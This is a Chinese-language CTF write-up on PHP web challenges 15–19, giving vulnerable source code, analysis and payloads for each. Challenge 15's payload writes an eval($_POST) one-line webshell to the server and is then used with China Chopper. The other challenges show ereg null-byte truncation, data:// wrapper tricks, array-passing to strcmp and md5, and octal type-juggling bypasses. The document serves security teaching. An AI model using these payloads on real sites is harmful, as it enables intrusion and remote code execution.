challenge 15
访问页面,查看源码
<?php if(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = 'upload/'.$_GET['path']; }else{ show_source(__FILE__); exit(); } if(strpos($path,'..') > -1){ die('SYCwaf!'); } if(strpos($url,'http://127.0.0.1/') === 0){ file_put_contents($path, file_get_contents($url)); echo "console.log($path update successed!)"; }else{ echo "Hello.Geeker"; }
过程分析
观察代码,传递file参数和path参数。并且path参数不能有回溯符,而file参数开头必须是http://127.0.0.1
这样的字符串,path的参数被用作生成的文档,而file则是写入的内容【这是表面现象】然而,真正的写入一句话的玄机是echo的这句话。payload:
http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php
写入一句话,直接菜刀列举网站目录即可。
file_get_contents() 函数
file_get_contents() 把整个文件读入一个字符串中。 语法 file_get_contents(path,include_path,context,start,max_length) 参数 描述 path 必需。规定要读取的文件。 include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的 话,请设置该参数为 '1'。 context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 若使用 NULL,则忽略。 start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。
绕过思路
1、URLencode进行参数加密处理【第二个file以参数形式传递,以及payload含有特殊字符】
2、满足条件,在echo语句中写一句话
challenge 16
访问页面,查看源代码
<?php if (isset($_POST["submit"])) { if (isset($_POST['hihi'])) { if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE) { exit('<script>alert("have fun:)")</script>'); } elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999) { if (strpos($_POST['hihi'], '#HONG#') !== FALSE) { if (!is_array($_POST['hihi'])) { include("flag.php"); echo "Congratulations! FLAG is : ".$flag; } else { exit('<script>alert("nonono")</script>'); } } else { exit('<script>alert("nonono")</script>'); } } else { exit('<script>alert("sorry")</script>'); } } } show_source(__FILE__); ?>
过程分析
观察代码,需要满足的条件:
1、需要post提交
2、需要提交submit参数、hihi参数
3、hihi参数需要满足:
a、以数字字母组成 b、长度小于11, c、数值要大于999999999 d、并且需要包含`#HONG#`这样的字符。也就是最大长度从10位变成了4位,这条和第一条冲突, 为解决这个问题,可以利用ereg的%00截断,这样长度就变成了3位,一个三位数要满足c 的条件,就想到了科学计数法
4、payload
submit=任意字符&hihi=9e9%00#HONG#
5、从返回值得到flag
绕过思路
1、ereg的%00截断 2、正则表达的基本语法 3、PHP中e字母在数字比较中特殊使用
challenge 17
访问页面,查看源代码
<?php header("Content-type: text/html; charset=utf-8"); include('flag.php'); $smile = 1; if (!isset ($_GET['^_^'])) $smile = 0; if (ereg ('\.', $_GET['^_^'])) $smile = 0; if (ereg ('%', $_GET['^_^'])) $smile = 0; if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0; if (ereg ('http', $_GET['^_^']) ) $smile = 0; if (ereg ('https', $_GET['^_^']) ) $smile = 0; if (ereg ('ftp', $_GET['^_^'])) $smile = 0; if (ereg ('telnet', $_GET['^_^'])) $smile = 0; if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0; if ($smile) { if (@file_exists ($_GET['^_^'])) $smile = 0; } if (1) { $smile = @file_get_contents ($_GET['^_^']); if ($smile === "(●'◡'●)") die($flag); } show_source(__FILE__); ?>
过程分析
服务器会包含一个flag.php文件,为了最终die($flag)的顺利执行,需要绕过上面的各种验证,而逻辑本身有两处矛盾:
$_GET数组本身提取自QUERY_STRING,$_GET['^_^']中key包含_符号,而QUERY_STRING 却不允许。 file_exists需要寻找的文件必须不存在,但file_get_contents却能读到文件内容。 当然除了逻辑还有上面那一堆限制,比如参数的value但不可包含. % 0-9数字 http(s) ftp telnet关键字,文件的内容为unicode的笑脸。
绕过思路
当.或[]之类的符号作为参数的key的时候,会被PHP改写为_。file_get_contents可以获取远程数据,但常用网络协议已经被正则过滤,因此需要选取其他协议。查阅PHP支持的协议和包装,发现RFC 2397的data协议可用。巧合的是,file_exists对于data指向内容判断为不存在。 最终构造url为:
http://www.ctf.com/3.php?^.^=data://text/plain;charset=unicode,(●'◡'●)
challenge 18
访问网页,查看源码
<?php if(isset($_POST['login'])) { if(isset($_POST['user'])) { if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名 { die('user错误!'); } } if (isset($_POST['name']) && isset($_POST['password'])) { if ($_POST['name'] == $_POST['password'] ) { die('账号密码不能一致!'); } if (md5($_POST['name']) === md5($_POST['password'])) { if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id'])) { if($_POST['id']==72) die("flag{xxxxxxxxxxxxx}"); else die("ID错误2!"); } else { die("ID错误1!"); } } else die('账号密码错误!'); } } ?>
过程分析
1、post接受参数login、user、其user和常量USER做比较,比较函数strcmp,当strcmp第一个参数小于第二个参数时,返回值为负一,反之为正一,相等时为零。在不知道常量USER的情况下,满足条件,可以破坏数据结构,参数字符串改成数据,即可得到false值
2、post值name、password,这两个值不能一样,但是md5的值要一样,这是全类型比较,所以这里也是破坏结构,传递数组
3、post的id值,需要是数字,if中全类型比较,不是72,可以使用小数类型绕过,然后不含空格
4、payload为:login=1&user[]=2&name[]=xiaohong&password[]=xiaoming&id=72.0
绕过思路
1、PHP全类型比较和弱类型比较
2、不合规数据类型在函数中的特殊使用
3、strcmp、md5传递数组 返回 null
challenge 19
访问页面,查看源代码
$sss=$_GET['sss']; if(strlen($sss)==666){ if(!preg_match("/[^0-6]/",$sss)){ eval('$sss='.$sss.';'); if($sss!=='0x666'){ if($sss=='0x666'){ echo $flag; } } } }
过程分析
1、if(strlen($sss)==666) $sss
的长度等于 666
2、if(!preg_match("/[^0-6]/",$sss)) $sss
只能包含 0–6 的数字
3、$sss !== '0x666'
$sss == '0x666'
可知 $sss 的值需要等于数值 0x666,而又不能等于字符串 ‘0x666’,其中涉及PHP的弱类型比较
绕过思路
需要创建一个长度为 666 ,只包含0 — 6的数字,数值上等于 0x666且不等于字符串 ‘0x666’的参数,所以我们用八进制就可以搞定了。payload000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000003146
PHP进制说明: 1、十六进制:0x开头 2、八进制:0开头 3、二进制:0b开头 弱类型比较说明: 1、php7中不成立: if(1638=='0x666')echo 2;此为flase 2、php5中成立:if(1638=='0x666')echo 2;此为true
关注我们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:
来源:freebuf.com 2020-04-14 14:07:53 by: mazihan
请登录后发表评论
注册